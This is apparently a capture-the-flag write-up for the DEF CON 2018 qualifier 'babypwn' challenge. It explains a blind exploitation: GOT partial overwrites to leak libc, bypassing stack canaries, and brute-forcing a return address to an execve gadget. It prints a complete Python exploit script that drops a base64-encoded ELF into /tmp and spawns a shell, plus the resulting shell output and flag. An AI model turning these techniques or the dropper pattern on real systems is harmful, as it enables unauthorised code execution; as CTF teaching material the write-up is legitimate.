This “baby” task consisted of exploiting the following short C program without being given the compiled binary:
/* includes omitted */
char asdf[1024];
int main()
{
long long index = 0;
alarm(5);
read(0, &index, 1024);
read(0, asdf+index, 8);
read(0, &index, 1024);
}
First of all, sending long strings threw a stack canary error, so we knew those needed to be circumvented somehow.
To acquire information on the environment, we guessed the offset to the GOT
entry of read (-0x38
from the buffer), guessed that read and write share their
address in the libc except for the least significant byte (they’re usually
close), overwrite the LSB of read()
to hopefully turn it into a write()
to leak 1024 bytes to stdin
(which here was the same socket as stdout
).
For us, 0x60
as the LSB worked. This leak sometimes included environment
variables, among those the libc filename which contained a hash. With that
hash that specific libc could be found online. The libc was randomized on
every connection; we used MD5 ac6e8213081cc6f5a16779214a90d952
.
Once we found that libc, we filtered for it every time before trying to run the exploit by simply applying the same changes to the GOT and seeing if something came back from the server. If yes then the current connection had the right libc and we could attack the binary every 5 seconds up to 200 times (as it turned out).
To exploit the program, we
then guessed some more offsets based on a locally compiled version of the
binary: We assumed the GOT entry of __stack_chk_fail
to be at -0x48
from
the buffer and that there would be a ret
instruction at the location obtained
from the original GOT entry by overwriting the LSB with 0x96
.
(Note that the GOT entry still points into the binary rather than libc since
it’s never been called.) Amazingly, even the guess of 0x96
was correct.
After negating the stack canaries by pointing the GOT entry of the function
__stack_chk_fail
to a ret
, we simply did a partial overwrite on the return
address of main()
to a “win” gadget in the libc we found earlier. This
involves a brute force of 12 bits since the offset of the original return
address (0x21ec5
, somewhere in __libc_start_main
) is quite far from the
win gadget we used:
e681d: 48 8b 05 84 76 2d 00 mov rax, [rip+0x2d7684]
e6824: 48 8d 74 24 70 lea rsi, [rsp+0x70]
e6829: 48 8d 3d ab 64 09 00 lea rdi, [rip+0x964ab]
e6830: 48 8b 10 mov rdx, [rax]
e6833: e8 f8 aa fd ff call c1330 <execve@@GLIBC_2.2.5>
Since the alarm(5)
would kill the (sometimes) resulting shell quite soon,
our first-stage payload was a small ELF (written to /tmp/
) that would just
call alarm(0)
and execve
/bin/sh
once more. Finding the flag was
still super annoying because it was in a directory inside /opt/
which
wasn’t readable to our user (the CTF organizers announced this was by accident)
but finally we found the right folder by looking at the environment
variable OLDPWD
of the pwnable instance which pointed to
/opt/ctf/babypwn/home/
(see the output below).
The final exploit script:
#!/usr/bin/env python3
import sys, socket, time, re, subprocess, struct, telnetlib
import hashlib
def pow_hash(challenge, solution):
return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution):
h = pow_hash(challenge, solution)
return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n):
candidate = 0
while True:
if check_pow(challenge, n, candidate):
return candidate
candidate += 1
def reconnect():
sock = socket.socket()
sock.connect(('e4771e24.quals2018.oooverflow.io', 31337))
time.sleep(1)
s = sock.recv(0x100).decode()
chall = re.search('Challenge: (.{10})', s).groups()[0]
n = int(re.search('n: ([0-9]+)', s).groups()[0])
resp = solve_pow(chall, n)
sock.send('{}\n'.format(resp).encode())
s = sock.recv(0x100)
if s != b'Go\n':
print(s)
exit(1)
return sock
wait = lambda: (sys.stdout.flush(), time.sleep(.3))
for i in range(0x100):
sock = reconnect()
sock.send(struct.pack('<q', -0x38))
print('.', end = ''); wait()
sock.send(b'\x60') # read -> write
print('.', end = ''); wait()
print('?', end = ' '); wait()
s = sock.recv(0x1000)
print(s)
if b'\xc8\xff\xff\xff' not in s:
continue
for j in range(199):
print('{:5d}'.format(j), end = ' ')
sock.sendall(struct.pack('<q', -0x48))
print('.', end = ''); wait()
sock.sendall(b'\x96') # stack_chk_fail -> ret
print('.', end = ''); wait()
sock.sendall(
b'X' * 8 # index
+ b'C' * 8 # cookie
+ b'\0' * 8 # saved rbp
+ b'\x1d\x78\x78' # partial overwrite -> win
)
print('!', end = ''); wait()
sock.sendall(b'echo ')
print('.', end = ''); wait()
sock.sendall(b'pwnd\n')
print('?', end = ' '); wait()
s = sock.recv(0x1000)
print(s)
if b'pwnd' in s:
sock.send(b'export LD_PRELOAD=\n')
sock.send(b'id; echo\n')
sock.send(b'pwd; echo\n')
sock.send(b'env; echo\n')
# sock.send(b'find / | LD_PRELOAD= grep -i flag; echo\n')
sock.send(b'echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAANAAAAAAAAAAAAAAAEAAOAABAEAAAwACAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAuQAAAAAAAAC5AAAAAAAAAAAAIAAAAAAAMf+4JQAAAA8FSI08JaEAQABIjTQlqQBAAEiNFCWxAEAAuDsAAAAPBcwvYmluL3NoAKEAQAAAAAAAAAAAAAAAAAAALnNoc3RydGFiAC50ZXh0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAQAAAAYAAAAAAAAAeABAAAAAAAB4AAAAAAAAAEEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAuQAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA== | base64 -d > /tmp/pU0Kp9cuUDMuK1yRn4QC6gUO5KbK1vns\n')
sock.send(b'chmod +x /tmp/pU0Kp9cuUDMuK1yRn4QC6gUO5KbK1vns\n')
sock.send(b'echo payload?\n')
sock.send(b'exec /tmp/pU0Kp9cuUDMuK1yRn4QC6gUO5KbK1vns\n')
wait()
sock.send(b'echo still there.\n')
sock.send(b'rm /tmp/pU0Kp9cuUDMuK1yRn4QC6gUO5KbK1vns\n')
sock.send(b'echo shell!\n')
sock.send(b'cat /opt/ctf/babypwn/home/flag\n') # added after I found it
print('\n$$$$$$$$$$$$$$$$\n')
tel = telnetlib.Telnet()
tel.sock = sock
tel.interact()
exit()
Among other things, running (multiple parallel instances of) this script for long enough finally returns with a shell and, once we found the right path, the flag:
..? b"\xc8\xff\xff\xff\xff\xff\xff\xff\x00\xe8M\x98j\xb6\xe3\xb3\x00\x00\x00\x00\x00\x00\x00\x00\xc5\x9e\x10\xd3\xa0\x7f\x00\x00\x005\x95uGV\x00\x00\xf8\xb5u\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xfa6\x95uGV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd6\x9b\x9f\xcb\xcbz\x11\xf4\xf05\x95uGV\x00\x00\xf0\xb5u\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd6\x9b\xdf\xa1 l\xea\x0b\xd6\x9be\xf7\xea\xdcP\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\xd7K\xd3\xa0\x7f\x00\x00`'J\xd3\xa0\x7f\x00\x00\xf3F\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf05\x95uGV\x00\x00\xf0\xb5u\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a6\x95uGV\x00\x00\xe8\xb5u\x8b\xfd\x7f\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00e\xceu\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xceu\x8b\xfd\x7f\x00\x00\xcd\xceu\x8b\xfd\x7f\x00\x00\xda\xceu\x8b\xfd\x7f\x00\x00\xf7\xceu\x8b\xfd\x7f\x00\x00&\xcfu\x8b\xfd\x7f\x00\x00?\xcfu\x8b\xfd\x7f\x00\x00W\xcfu\x8b\xfd\x7f\x00\x00x\xcfu\x8b\xfd\x7f\x00\x00\x80\xcfu\x8b\xfd\x7f\x00\x00\xc2\xcfu\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\xb0|\x8b\xfd\x7f\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xff\xfb\x8b\x17\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00@0\x95uGV\x00\x00\x04\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\xd0J\xd3\xa0\x7f\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\xf05\x95uGV\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\xf2\x03\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\xf2\x03\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\xf2\x03\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf2\x03\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\xa9\xb7u\x8b\xfd\x7f\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\xde\xcfu\x8b\xfd\x7f\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\xb9\xb7u\x8b\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\xe8M\x98j\xb6\xe3\xb3\xcf\xe5e\xbd\x08z\xeb\xcdx86_64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Go\n"
0 ..!.? b'Go\nGo\n'
1 ..!.? b'Go\nGo\n'
2 ..!.? b'Go\nGo\n'
3 ..!.? b'Go\nGo\n'
[...]
101 ..!.? b'Go\nGo\n'
102 ..!.? b'Go\nGo\n'
103 ..!.? b'Go\nGo\n'
104 ..!.? b'pwnd\n'
$$$$$$$$$$$$$$$$
uid=1010(babypwn) gid=1010(babypwn) groups=1010(babypwn)
/opt/ctf/babypwn/bin
REMOTE_HOST=::ffff:1.3.3.7
SHLVL=2
OLDPWD=/opt/ctf/babypwn/home
JOURNAL_STREAM=9:580166
_=/opt/ctf/babypwn/bin/baby
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVOCATION_ID=dc0f79078667c9c2425f6cb008d64e76
LD_PRELOAD=
LANG=C.UTF-8
PWD=/opt/ctf/babypwn/bin
payload?
still there.
shell!
OOO{to_know_the_libc_you_must_become_the_libc}